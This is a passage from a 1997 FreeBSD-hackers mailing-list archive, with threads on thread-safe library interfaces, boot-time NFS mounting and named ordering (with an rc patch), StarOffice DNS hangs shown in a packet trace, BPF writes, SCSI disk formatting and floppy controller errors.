owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > One possibility is to provide a set of library routines that take > > a user buffer and fill it in. > > Yes, that's a possiblity, and I think many wants the _r functions too. > Which leads to double code (not double source, neccesarily though) or > the need to call a function from a function, which gives another prob. > How do you avoid double functioncall-time per call? Maybe you don't. > You can probably live with that, though, specially if the functions are > close to eachother. See my next comment also. You don't. This is the tax God levies on infidels who conform to shitty standards. The universe has no pity on morons, nor should we. Mankind will never advance if nature does not punish stupidity and reward intelligence. Now ask me about seatbelt laws. 8-). > > Provide legacy compatability with inline functions that use > > static buffers as the argument to the real functions. This > > immediately buys the functions into being threadsafe as well, since > > each reference instance will have its own buffer. > > Is it possible to use a static buffer in an inline function? That means > that it's either in one place and all references use it, or that it's > a static buffer in each reference, I guess. Neither is threadsafe. The first is not what happens; you are thinking like a C++ programmer. The second is threadsafe, actually, it's just wasteful. If you don't want to be wasteful, use the good interface. Otherwise, lump it; consider it a fine for using the bad interface and engaging in poor programming techniques by not centralizing references to code outside your control. It's not reasonable for you to be calling getpwent() in 400 places in your code anyway; you code would be non-portable as heck. > Wrapper functions (inline or not) have some problems: > 1) can't return a stack-allocated space (except possibly with some gcc quirk) You can't do that anyway. Maybe you are thinking of calling a function with an auto buffer, the inverse case? That works, too. > 2) can't use static buffers because it's not thread safe. You can, and it is. The static buffers are inlined at ever reference, and locally scoped. > 3) can't use malloc to get a buffer because then they are allocating but not > taking care of freeing themselfs. THat's the current POSIX 1003.4 accepted practice that you are complaining about. I dislike non-reflexive interfaces as well. You should be arguing on my side for the namei(0 patches, where the underlying FS is expected to free the caller's path name buffer. Bletch. > Basically the only solution I can see to do it (no matter if you don't have > *_r calls, if you call them from wrappers, or if you double the code), is to > use TSD. And a TSD pointer to a malloc()ated structure which holds all the > buffers seems like the fastest and safest way to do it. The static stuff works, too, for thread safe legacy interfaces. Really. It just puishes the users of the legacy interfaces with data space bloat, charged per use of the interface. > The TLS doesn't need to be mapped into the same address space, but can be. If it's not, then I can't use a constructed object from one thread in another thread without proxying it between the different TLS address spaces. Which is why I hate that idea. Have you ever programmed Apartment or Freethreaded code on NT or 95? No thank you! > It doesn't matter since the info in the TLS will only be a single pointer, > which should never be referenced outside the library, and never passed > between threads inside the library. The struct itself is allocated outside > TLS, but kept track on by a TLS pointer. How do I pass a struct pwent * from a getpwent() in thread 1 to thread 2? I'd have to maintain a reference count on the externally allocated storage, and pss it with a function that incremented the reference count and produced a TLS handle in the new threads space to point to the shared object. If I didn't, and thread 1 got the entry, passed it to thread 2, then exited, your TLS pointer will have gone out of scope in thread_exit(), and the storage would be available for reallocation (if it wasn't, I would be unable to stop and start 100,000 threads without a memeory leak each time). All of this neglects that Fact the FreeBSD does not have thread local storage because we thing that rewriting a page table descriptor on a thread context switch is the fastes way to make it so that thread context switches aren't a win relative to process context siwtches -- after which, tell us why we are using threads instead of vfork? Ah... I remember... it's so that we get fewer quanta, that's it... 8-(. Might as well be SVR4 or Solaris, at that point, both of which blow off hughe amounts of quanta in kernel thread context switch overhead, all in the name of not having to do a marginally more complex implementation. > > It's possible to provide dynmaic scoping in C as well. It's just > > high overhead. Just as it is in C++. Which is one of the reasons > > the kernel isn't written in C++. But it *is* possible. > > Er... What is dynamic scoping? When you exit a scope, you destroy the objects created in the scope. > And passing objects back relies on ctors/dtors which C doesn't have. __asm(); it's only the threads scheduler in general, and thread_exit() in particular, that need to have it. > but it requires macros and/or extra work by the programmer, which can't > be expected of him (like calling destructors by hand, which can be > forgotten). It's the threads library -- in other words, infrastructure that everyone but the threads library programmer can assume exists. > [ don't have time for more right now, and FreeBSD changing > standards? Likely. ] Not required. People can use the legacy interface. More power (and a larger RSS) to them... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Sep 15 17:08:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA05204 for hackers-outgoing; Mon, 15 Sep 1997 17:08:22 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA05192 for ; Mon, 15 Sep 1997 17:08:18 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id KAA27272; Tue, 16 Sep 1997 10:07:56 +1000 (EST) Date: Tue, 16 Sep 1997 10:07:55 +1000 (EST) From: "Daniel O'Callaghan" To: John-Mark Gurney cc: Yonny Cardenas , hackers@FreeBSD.ORG Subject: Re: Interface DOWN In-Reply-To: <19970915165219.23543@hydrogen.nike.efn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I use: > > > > interfaces { > > interface all passive ; > > } ; > > what does this do?? It means that gated does not insist on hearing its own broadcasts to keep the interface up. Danny From owner-freebsd-hackers Mon Sep 15 17:20:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA06383 for hackers-outgoing; Mon, 15 Sep 1997 17:20:15 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA06374 for ; Mon, 15 Sep 1997 17:20:11 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id JAA17292; Tue, 16 Sep 1997 09:49:59 +0930 (CST) Message-ID: <19970916094959.44474@lemis.com> Date: Tue, 16 Sep 1997 09:49:59 +0930 From: Greg Lehey To: Brian Somers Cc: Joerg Wunsch , freebsd-hackers@FreeBSD.ORG Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) References: <19970915084437.XX17061@uriah.heep.sax.de> <199709152021.VAA07129@awfulhak.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709152021.VAA07129@awfulhak.demon.co.uk>; from Brian Somers on Mon, Sep 15, 1997 at 09:21:21PM +0100 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Sep 15, 1997 at 09:21:21PM +0100, Brian Somers wrote: >> As Nate Williams wrote: >> >>> NTP, AMD, firewall stuff. Heck, the default 'setup' assumes it can resolve >>> hostnames just to configure your IP address, ... >> >> Huh? No, Nate, we've abandoned this long ago. We are using IP >> numbers there to solve the chicken-and-egg problems. > > So is there a reason for not having named started at the end of > network_pass1 rather than at the start of pass2 ? There's even a > comment in rc saying that without resolv.conf, we need to start named > before syslogd (it's actually started afterwards). Possibly. I haven't got round to look at the problem, but I have noticed a hang trying to mount nfs file systems at bootup time. I solved it by adding an & at the end of the mount command. The situation is somewhat complicated by the fact that one of the machines has been down for some time, so the mounts can't complete. > The "original" problem that started this thread was that the mount -a > -t nfs fails when there's no resolv.conf. Correct. I wanted to look at that. Greg From owner-freebsd-hackers Mon Sep 15 17:39:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA07657 for hackers-outgoing; Mon, 15 Sep 1997 17:39:06 -0700 (PDT) Received: from thelab.hub.org (root@ppp-154.halifax-01.ican.net [206.231.248.154]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA07643 for ; Mon, 15 Sep 1997 17:38:54 -0700 (PDT) Received: from thelab.hub.org (scrappy@localhost [127.0.0.1]) by thelab.hub.org (8.8.7/8.8.2) with SMTP id VAA11734 for ; Mon, 15 Sep 1997 21:38:05 -0300 (ADT) Date: Mon, 15 Sep 1997 21:38:04 -0300 (ADT) From: The Hermit Hacker To: hackers@freebsd.org Subject: StarOffice... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi... I'm running a current 3.0 system, and am wondering if anyone is having problems running StarOffice? I've got linux_mod loaded, as shown by modstat. and try 'scalc3'...the process starts up, consumes a bunch of CPU and then slowly degenerates into an idle process... Anyone with similar experience? Thanks... Marc G. Fournier Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org From owner-freebsd-hackers Mon Sep 15 17:52:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA08555 for hackers-outgoing; Mon, 15 Sep 1997 17:52:55 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA08544 for ; Mon, 15 Sep 1997 17:52:50 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id KAA17419; Tue, 16 Sep 1997 10:22:23 +0930 (CST) Message-ID: <19970916102223.44582@lemis.com> Date: Tue, 16 Sep 1997 10:22:23 +0930 From: Greg Lehey To: The Hermit Hacker Cc: hackers@FreeBSD.ORG Subject: Re: StarOffice... References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: ; from The Hermit Hacker on Mon, Sep 15, 1997 at 09:38:04PM -0300 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Sep 15, 1997 at 09:38:04PM -0300, The Hermit Hacker wrote: > > > Hi... > > I'm running a current 3.0 system, and am wondering if anyone is > having problems running StarOffice? Well, yes. It doesn't seem to like the name server. > I've got linux_mod loaded, as shown by modstat. and try > 'scalc3'...the process starts up, consumes a bunch of CPU and then > slowly degenerates into an idle process... I haven't quite seen that. What I see is that it starts up, uses about 4 seconds CPU time, then hangs for five minutes sending lookup requests to the name server and ignoring the replies. Then it gives up and carries on working normally. The other thing I see is that it continually uses CPU time, looping on what looks like a sound card ioctl (I don't have a sound card in this machine). I can't see anywhere to disable the sound card--does anybody else have an idea? Greg From owner-freebsd-hackers Mon Sep 15 17:55:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA08685 for hackers-outgoing; Mon, 15 Sep 1997 17:55:05 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA08679 for ; Mon, 15 Sep 1997 17:55:00 -0700 (PDT) Received: from word.smith.net.au (localhost.gsoft.com.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id KAA00498; Tue, 16 Sep 1997 10:22:43 +0930 (CST) Message-Id: <199709160052.KAA00498@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Sunthiti Patchararungruang cc: hackers@freebsd.org Subject: Re: Problem about BPF In-reply-to: Your message of "Tue, 16 Sep 1997 01:07:57 +0700." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 16 Sep 1997 10:22:38 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Dear every body, > > If I want to send a frame to a BPF device, can I use more than one > "write" commands to complete all fields of a packet? (i.e. first write for > ether_header and another write for IP packet). No. Each write must be a complete datagram. Think about it for a moment - how else could the kernel know when you had given it enough and send the packet? mike From owner-freebsd-hackers Mon Sep 15 17:57:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA08924 for hackers-outgoing; Mon, 15 Sep 1997 17:57:43 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA08904 for ; Mon, 15 Sep 1997 17:57:37 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id RAA04916 for ; Mon, 15 Sep 1997 17:57:34 -0700 (PDT) Date: Mon, 15 Sep 1997 17:57:33 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: What could cause scsiformat to fail, yet controller format to work? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have a new Fuji 9GB disk I'm playing with, and when I try to configure it in a ccd, I get a medium error, asc:31,1. However, if I go into the Adaptec BIOS and do format media, it seems to hum along just fine. Verify disk works as well. The other 9GB disk I have is working fine, so I'm a little curious as to what my cause this. I was trying to do 'disklabel -w -r sd3 auto' which started the whole ball of wax. From owner-freebsd-hackers Mon Sep 15 18:30:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA10970 for hackers-outgoing; Mon, 15 Sep 1997 18:30:01 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA10904; Mon, 15 Sep 1997 18:29:53 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id KAA17557; Tue, 16 Sep 1997 10:59:40 +0930 (CST) Message-ID: <19970916105940.15713@lemis.com> Date: Tue, 16 Sep 1997 10:59:40 +0930 From: Greg Lehey To: Brian Somers Cc: freebsd-questions@FreeBSD.ORG, FreeBSD Hackers Subject: Re: nfs startup References: <199709042231.XAA26182@awfulhak.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709042231.XAA26182@awfulhak.demon.co.uk>; from Brian Somers on Thu, Sep 04, 1997 at 11:31:48PM +0100 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, Sep 04, 1997 at 11:31:48PM +0100, Brian Somers wrote: > This has to be a dumb question, but I can't fathom it. > > /etc/rc sources /etc/rc.network and then runs network_pass1. > Directly afterwards, it runs ``mount -a -t nfs''. > > However, network_pass3 (invoked much later) starts nfsiod along with > the other nfs stuff. You don't need nfsiod for mounting, but you do need to resolve the names. If you're running a name server, I don't think it's reasonable to expect an /etc/hosts entry for each system you're mounting NFS file systems from. Unfortunately, named doesn't get started until network_pass2, so this can't work in a name server environment. Here's a suggested patch: ---------------------------------------------------------------------- --- rc.old Tue May 20 13:06:10 1997 +++ rc Tue Sep 16 10:47:28 1997 @@ -121,8 +121,6 @@ network_pass1 fi -mount -a -t nfs >/dev/null 2>&1 - # Whack the pty perms back into shape. chmod 666 /dev/tty[pqrsPQRS]* @@ -172,6 +170,8 @@ if [ -n "$network_pass1_done" ]; then network_pass2 fi + +mount -a -t nfs & # Check the quotas (must be after ypbind if using NIS) if [ "X${check_quotas}" = X"YES" ]; then ---------------------------------------------------------------------- The & after the mount command is to let it continue to try to mount file systems on systems which are not currently up; otherwise system startup will hang at this point. As you see, I also agree with the sentiment that the messages should be seen. Greg From owner-freebsd-hackers Mon Sep 15 19:49:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA15299 for hackers-outgoing; Mon, 15 Sep 1997 19:49:36 -0700 (PDT) Received: from w2xo.pgh.pa.us (w2xo.pgh.pa.us [206.210.70.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA15285 for ; Mon, 15 Sep 1997 19:49:28 -0700 (PDT) Received: from w2xo.pgh.pa.us (w2xo.pgh.pa.us [206.210.70.5]) by w2xo.pgh.pa.us (8.8.5/8.8.4) with SMTP id WAA03341; Mon, 15 Sep 1997 22:49:18 -0400 (EDT) Message-ID: <341DF3AE.41C67EA6@w2xo.pgh.pa.us> Date: Mon, 15 Sep 1997 22:49:18 -0400 From: Jim Durham Organization: Dis- X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 3.0-970618-SNAP i386) MIME-Version: 1.0 To: Greg Lehey CC: The Hermit Hacker , hackers@FreeBSD.ORG Subject: Re: StarOffice... References: <19970916102223.44582@lemis.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greg Lehey wrote: > > On Mon, Sep 15, 1997 at 09:38:04PM -0300, The Hermit Hacker wrote: > > > > > > Hi... > > > > I'm running a current 3.0 system, and am wondering if anyone is > > having problems running StarOffice? > > Well, yes. It doesn't seem to like the name server. > > > I've got linux_mod loaded, as shown by modstat. and try > > 'scalc3'...the process starts up, consumes a bunch of CPU and then > > slowly degenerates into an idle process... > > I haven't quite seen that. What I see is that it starts up, uses > about 4 seconds CPU time, then hangs for five minutes sending lookup > requests to the name server and ignoring the replies. Then it gives > up and carries on working normally. > > The other thing I see is that it continually uses CPU time, looping on > what looks like a sound card ioctl (I don't have a sound card in this > machine). I can't see anywhere to disable the sound card--does > anybody else have an idea? > > Greg Wow...I've asked about this a number of times and you're the first person who's said they have the problem. My wait is 2.5 to 3 minutes. Do you know what names for which it is requesting addresses from the name server? regards, -- Jim Durham From owner-freebsd-hackers Mon Sep 15 19:55:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA15661 for hackers-outgoing; Mon, 15 Sep 1997 19:55:17 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA15651 for ; Mon, 15 Sep 1997 19:55:12 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id MAA19365; Tue, 16 Sep 1997 12:24:58 +0930 (CST) Message-ID: <19970916122457.47080@lemis.com> Date: Tue, 16 Sep 1997 12:24:57 +0930 From: Greg Lehey To: Jim Durham Cc: FreeBSD Hackers Subject: Re: StarOffice... References: <19970916102223.44582@lemis.com> <341DF3AE.41C67EA6@w2xo.pgh.pa.us> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.81e In-Reply-To: <341DF3AE.41C67EA6@w2xo.pgh.pa.us>; from Jim Durham on Mon, Sep 15, 1997 at 10:49:18PM -0400 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, Sep 15, 1997 at 10:49:18PM -0400, Jim Durham wrote: > Greg Lehey wrote: >> >> On Mon, Sep 15, 1997 at 09:38:04PM -0300, The Hermit Hacker wrote: >>> I'm running a current 3.0 system, and am wondering if anyone is >>> having problems running StarOffice? >> >> Well, yes. It doesn't seem to like the name server. >> >>> I've got linux_mod loaded, as shown by modstat. and try >>> 'scalc3'...the process starts up, consumes a bunch of CPU and then >>> slowly degenerates into an idle process... >> >> I haven't quite seen that. What I see is that it starts up, uses >> about 4 seconds CPU time, then hangs for five minutes sending lookup >> requests to the name server and ignoring the replies. Then it gives >> up and carries on working normally. >> >> The other thing I see is that it continually uses CPU time, looping on >> what looks like a sound card ioctl (I don't have a sound card in this >> machine). I can't see anywhere to disable the sound card--does >> anybody else have an idea? > > Wow...I've asked about this a number of times and > you're the first person who's said they have the > problem. My wait is 2.5 to 3 minutes. > > Do you know what names for which it is requesting addresses > from the name server? The address of the local system, at least. It looks as if it's not understanding the answers. Here's a trace on the loopback interface. Greg + 17.472583 s 12:23:28.969897 freebie.lemis.com.1975 > freebie.lemis.com.domain: 31566+ A? freebie.lemis.com. (35) 4500 003f 2d92 0000 * 4011 412e d17d d699 E~~?-~~~@~A.ÁmÆ~ d17d d699 07b7 0035 * 002b eecd 7b4e 0100 ÁmÆ~~·~5~+Þ½{N~~ 0001 0000 0000 0000 * 0766 7265 6562 6965 ~~~~~~~~~freebie 056c 656d 6973 0363 * 6f6d 0000 0100 01 ~lemis~com~~~~~ + 875 µs 12:23:28.970772 freebie.lemis.com.domain > freebie.lemis.com.1975: 31566* 1/3/4 A freebie.lemis.com (189) 4500 00d9 2d93 0000 * 4011 4093 d17d d699 E~~Ù-~~~@~@~ÁmÆ~ d17d d699 0035 07b7 * 00c5 7f64 7b4e 9680 ÁmÆ~~5~·~Åd{N~~ 0001 0001 0003 0004 * 0766 7265 6562 6965 ~~~~~~~~~freebie 056c 656d 6973 0363 * 6f6d 0000 0100 01c0 ~lemis~com~~~~~À 0c00 0100 0100 0151 * 8000 04c0 6dc5 9a15 ~~~~~~~Q~~~ÀmÅ~~ 6c65 6d69 7303 636f * 6d00 0002 0001 0001 lemis~com~~~~~~~ 5180 0002 d11c d143 * 0002 0001 0001 5180 Q~~~Á~Á3~~~~~~Q~ 000a 0761 6c6c 6567 * 726f d143 d143 0002 ~~~allegroÁ3Á3~~ 0001 0001 5180 0011 * 036e 7331 0774 656c ~~~~Q~~~~ns1~tel 7374 7261 036e 6574 * 00c0 0c00 0100 0100 stra~net~À~~~~~~ 0151 8000 04c0 6dc5 * 9ac0 5600 0100 0100 ~Q~~~ÀmÅ~ÀV~~~~~ 0151 8000 04c0 6dc5 * 97c0 6c00 0100 0100 ~Q~~~ÀmÅ~Àl~~~~~ 0142 5200 048b 9314 * 05c0 6c00 0100 0100 ~BR~~~~~~Àl~~~~~ 0142 5200 04cb 3200 18 ~BR~~Ë2~~ + 23.464049 s 12:23:52.434821 freebie.lemis.com.1976 > freebie.lemis.com.domain: 50383+ A? freebie.lemis.com. (35) 4500 003f 2d96 0000 * 4011 412a d17d d699 E~~?-~~~@~A*ÁmÆ~ d17d d699 07b8 0035 * 002b a54b d5df 0100 ÁmÆ~~¸~5~+~;ÅÏ~~ 0001 0000 0000 0000 * 0766 7265 6562 6965 ~~~~~~~~~freebie 056c 656d 6973 0363 * 6f6d 0000 0100 01 ~lemis~com~~~~~ + 857 µs 12:23:52.435678 freebie.lemis.com.domain > freebie.lemis.com.1976: 50383* 1/3/4 A freebie.lemis.com (189) 4500 00d9 2d97 0000 * 4011 408f d17d d699 E~~Ù-~~~@~@~ÁmÆ~ d17d d699 0035 07b8 * 00c5 65e2 d5df 9680 ÁmÆ~~5~¸~ÅeâÅÏ~~ 0001 0001 0003 0004 * 0766 7265 6562 6965 ~~~~~~~~~freebie 056c 656d 6973 0363 * 6f6d 0000 0100 01c0 ~lemis~com~~~~~À 0c00 0100 0100 0151 * 8000 04c0 6dc5 9a15 ~~~~~~~Q~~~ÀmÅ~~ 6c65 6d69 7303 636f * 6d00 0002 0001 0001 lemis~com~~~~~~~ 5180 0002 d11c d143 * 0002 0001 0001 5180 Q~~~Á~Á3~~~~~~Q~ 000a 0761 6c6c 6567 * 726f d143 d143 0002 ~~~allegroÁ3Á3~~ 0001 0001 5180 0011 * 036e 7331 0774 656c ~~~~Q~~~~ns1~tel 7374 7261 036e 6574 * 00c0 0c00 0100 0100 stra~net~À~~~~~~ 0151 8000 04c0 6dc5 * 9ac0 5600 0100 0100 ~Q~~~ÀmÅ~ÀV~~~~~ 0151 8000 04c0 6dc5 * 97c0 6c00 0100 0100 ~Q~~~ÀmÅ~Àl~~~~~ 0142 3a00 048b 9314 * 05c0 6c00 0100 0100 ~B:~~~~~~Àl~~~~~ 0142 3a00 04cb 3200 18 ~B:~~Ë2~~ + 5.016254 s 12:23:57.451932 freebie.lemis.com.1977 > freebie.lemis.com.domain: 50383+ A? freebie.lemis.com. (35) 4500 003f 2d98 0000 * 4011 4128 d17d d699 E~~?-~~~@~A(ÁmÆ~ d17d d699 07b9 0035 * 002b a54a d5df 0100 ÁmÆ~~¹~5~+~:ÅÏ~~ 0001 0000 0000 0000 * 0766 7265 6562 6965 ~~~~~~~~~freebie 056c 656d 6973 0363 * 6f6d 0000 0100 01 ~lemis~com~~~~~ + 847 µs 12:23:57.452779 freebie.lemis.com.domain > freebie.lemis.com.1977: 50383* 1/3/4 A freebie.lemis.com (189) 4500 00d9 2d99 0000 * 4011 408d d17d d699 E~~Ù-~~~@~@~ÁmÆ~ d17d d699 0035 07b9 * 00c5 6fe1 d5df 9680 ÁmÆ~~5~¹~ÅoáÅÏ~~ 0001 0001 0003 0004 * 0766 7265 6562 6965 ~~~~~~~~~freebie 056c 656d 6973 0363 * 6f6d 0000 0100 01c0 ~lemis~com~~~~~À 0c00 0100 0100 0151 * 8000 04c0 6dc5 9a15 ~~~~~~~Q~~~ÀmÅ~~ 6c65 6d69 7303 636f * 6d00 0002 0001 0001 lemis~com~~~~~~~ 5180 0002 d11c d143 * 0002 0001 0001 5180 Q~~~Á~Á3~~~~~~Q~ 000a 0761 6c6c 6567 * 726f d143 d143 0002 ~~~allegroÁ3Á3~~ 0001 0001 5180 0011 * 036e 7331 0774 656c ~~~~Q~~~~ns1~tel 7374 7261 036e 6574 * 00c0 0c00 0100 0100 stra~net~À~~~~~~ 0151 8000 04c0 6dc5 * 9ac0 5600 0100 0100 ~Q~~~ÀmÅ~ÀV~~~~~ 0151 8000 04c0 6dc5 * 97c0 6c00 0100 0100 ~Q~~~ÀmÅ~Àl~~~~~ 0142 3500 048b 9314 * 05c0 6c00 0100 0100 ~B5~~~~~~Àl~~~~~ 0142 3500 04cb 3200 18 ~B5~~Ë2~~ From owner-freebsd-hackers Mon Sep 15 20:25:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA17090 for hackers-outgoing; Mon, 15 Sep 1997 20:25:44 -0700 (PDT) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA17077 for ; Mon, 15 Sep 1997 20:25:41 -0700 (PDT) Received: from nospam.hiwaay.net (tnt2-149.HiWAAY.net [208.147.148.149]) by fly.HiWAAY.net (8.8.6/8.8.6) with ESMTP id WAA25576 for ; Mon, 15 Sep 1997 22:25:39 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id WAA27618 for ; Mon, 15 Sep 1997 22:17:56 -0500 (CDT) Message-Id: <199709160317.WAA27618@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: hackers@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: Do *you* have problems with floppies? In-reply-to: Message from j@uriah.heep.sax.de (J Wunsch) of "Tue, 16 Sep 1997 01:35:16 +0200." <19970916013516.JM28299@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 Sep 1997 22:17:55 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Joerg Wunsch writes: > > As dkelly@HiWAAY.net wrote: > > > Noticed Passive Release went from > > Enabled to Disabled. And mostly *my* problems have disappeared too. Was > > able to get one or two errors off the FDC. > > p.s.: Does your mainboard also have a Winbond chip for the FDC? Quite > possible that this is the actual culprit. I think my board has an SMC > chip. fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: NEC 72065B ...the above is my Asus P6NP5 which has had FreeBSD floppy problems. Also have access to a Gateway P133 with a VX chipset and same FDC but have not had any problems with it. Nor with my $100 5x86/133 CPU & MB which "only" has a NEC 765. I haven't rebooted since setting my BIOS to its defaults. But the defaults seem to be doing the trick. Had "make world", "bonnie", "iozone auto", and the rc5v2 Bovine RC5 client running earlier and formatted about 10 floppies. Only one had problems and it always had its problem in the same place, therefore bad media. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-hackers Mon Sep 15 20:29:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA17333 for hackers-outgoing; Mon, 15 Sep 1997 20:29:13 -0700 (PDT) Received: from ptway.com (apollo.ptway.com [199.176.148.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA17328 for ; Mon, 15 Sep 1997 20:29:11 -0700 (PDT) Received: from brianjr.haskin.org (207R1.ptway.com [199.176.148.74]) by ptway.com (8.7.1/3.4W4-PTWAY-sco-ODT3.0) with ESMTP id XAA22149 for ; Mon, 15 Sep 1997 23:21:51 -0400 (EDT) Message-ID: <341DFCBF.D4D18745@ptway.com> Date: Mon, 15 Sep 1997 23:27:59 -0400 From: Brian Haskin X-Mailer: Mozilla 4.01 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: sperl.. X-Priority: 3 (Normal) References: <19970916013224.LK21199@uriah.heep.sax.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk J Wunsch wrote: > > As Existence is Futile wrote: > > > I guess I just assumed that it said the same version, that it would > have > > the same exploit. Would have thought it'd been pushed up to 4.037 by > the > > camel guys, but I guess I've fouled up this time :) or at least > named > > 4.036b or something odd. > > Perl 4 is 